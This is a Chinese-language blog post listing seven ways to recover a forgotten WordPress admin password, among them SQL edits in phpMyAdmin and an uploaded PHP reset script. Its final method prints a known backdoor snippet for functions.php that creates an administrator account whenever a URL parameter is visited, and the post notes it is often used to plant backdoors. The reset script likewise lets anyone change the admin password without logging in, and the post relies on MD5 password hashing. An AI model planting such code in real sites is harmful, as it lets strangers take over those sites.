七種方式解決WordPress忘記后臺(tái)密碼——墨澀網(wǎng)
自己搭建網(wǎng)站的朋友應(yīng)該遇到過(guò)一個(gè)問(wèn)題,網(wǎng)站多了,或者長(zhǎng)時(shí)間不用了,就容易忘記WordPress后臺(tái)密碼,這個(gè)時(shí)候你不要驚慌,分享7種WordPress忘記后臺(tái)密碼后的解決辦法,總有一款適合你的。
不推薦使用的方法
如果下面的操作無(wú)限,或則操作起來(lái)有難度,可以使用這兩個(gè)方法
方案1:重裝WordPress。我們不推薦這種方法,重裝還要下載安裝文件比較麻煩。
方案2:把WP目錄下的wp-config.php文件刪除,然后重新訪問(wèn)網(wǎng)站,這會(huì)讓你重新進(jìn)行最后一個(gè)安裝步驟,這樣就可以得到新的密碼。
方案三
使用找回密碼功能。WordPress 本身支持郵件取回密碼功能,如果管理員賬戶的電子郵件有效,在后臺(tái)登錄界面,點(diǎn)擊“忘記密碼”鏈接,輸入正確郵件地址后,即可收到一封含重置密碼的郵件。
方案四
登錄數(shù)據(jù)庫(kù)后臺(tái) phpMyAdmin ,找到WP數(shù)據(jù)庫(kù)的wp_users表,在這里可以看到默認(rèn)的用戶admin(如果你的管理員用戶名是其他,找對(duì)應(yīng)的即可),它的密碼是加密過(guò)的。這時(shí),我們可以修改這條數(shù)據(jù),找到user_pass這個(gè)域,把它原來(lái)的一長(zhǎng)串?dāng)?shù)據(jù)刪掉,寫上你的密碼,比如123456。這時(shí),你會(huì)看到一個(gè)函數(shù)的下拉框,把它選擇為MD5。這是為了把你的密碼進(jìn)行MD5算法加密,再保存。這樣,再通過(guò)你的域名/wp-admin 訪問(wèn)到管理入口,用這個(gè)密碼就可以登陸了。
方案五
通過(guò) SQL 語(yǔ)句修改密碼。登錄 phpMyAdmin 進(jìn)入 WordPress 數(shù)據(jù)庫(kù)并執(zhí)行以下 SQL 語(yǔ)句:
UPDATE wp_users SET user_pass = MD5( 'password' ) WHERE wp_users.user_login = 'admin' LIMIT 1
執(zhí)行后密碼就被重置為password了,也就是上面語(yǔ)句中MD5括號(hào)單引號(hào)里面的字符串,同樣的,上述語(yǔ)句中后面的admin為你的后臺(tái)管理賬號(hào)。
方案六
使用 PHP 找回密碼。PHP 方法歸根結(jié)底也是 SQL 查詢語(yǔ)句修改的方式,只不過(guò)提供一個(gè)用戶界面。將以下代碼復(fù)制并保存為 password-resetter.php 文件,上傳至 WordPress 根目錄,然后運(yùn)行該文件,輸入密碼即可重置。
<?php include("wp-config.php"); include("wp-blog-header.php"); if (empty($_POST['emergency_pass'])) { ?> <form method="post"> 設(shè)置新密碼: <input name="emergency_pass" type="password" /> <input type="submit" /> </form> <?php } else { $sql = "UPDATE ".$wpdb->users." SET user_pass = '".md5($_POST['emergency_pass'])."' WHERE User_login = 'admin'"; $link = $wpdb->query($sql); wp_redirect('wp-login.php'); exit(); } ?>
暴力方式解決
常言道:刀劍不分善惡、關(guān)鍵在于使用他的人。如下面這串代碼:
//找回管理員密碼 add_action('wp_head', 'holeinthewall'); function holeinthewall() { If ($_GET['backdoor'] == 'go') { require('wp-includes/registration.php'); If (!username_exists('username')) { $user_id = wp_create_user('username', 'password'); $user = new WP_User($user_id); $user->set_role('administrator'); } } }
雖說(shuō)是很多人用來(lái)放置后門的程序,但是運(yùn)用得當(dāng),也可以作為我們找回密碼的工具。
將上述代碼加到當(dāng)前主題的functions.php文件中,然后訪問(wèn)域名/?backdoor=go,即可創(chuàng)建一個(gè)最高權(quán)限的管理員賬號(hào),登錄后臺(tái)后我們就可以刪除忘記密碼的那個(gè)賬號(hào)或者給忘記密碼的那個(gè)賬戶重置密碼了。
版權(quán)聲明:本文采用知識(shí)共享 署名4.0國(guó)際許可協(xié)議BY-NC-SA 進(jìn)行授權(quán)
文章作者:<墨澀>
文章鏈接:
免責(zé)聲明:本站為資源分享站,所有資源信息均來(lái)自網(wǎng)絡(luò),您必須在下載后的24個(gè)小時(shí)之內(nèi)從您的電腦中徹底刪除上述內(nèi)容;版權(quán)爭(zhēng)議與本站無(wú)關(guān),所有資源僅供學(xué)習(xí)參考研究目的,如果您訪問(wèn)和下載此文件,表示您同意只將此文件用于參考、學(xué)習(xí)而非其他用途,否則一切后果請(qǐng)您自行承擔(dān),如果您喜歡該程序,請(qǐng)支持正版軟件,購(gòu)買注冊(cè),得到更好的正版服務(wù)。
本站為非盈利性站點(diǎn),并不販賣軟件,不存在任何商業(yè)目的及用途,網(wǎng)站會(huì)員捐贈(zèng)是您喜歡本站而產(chǎn)生的贊助支持行為,僅為維持服務(wù)器的開(kāi)支與維護(hù),全憑自愿無(wú)任何強(qiáng)求。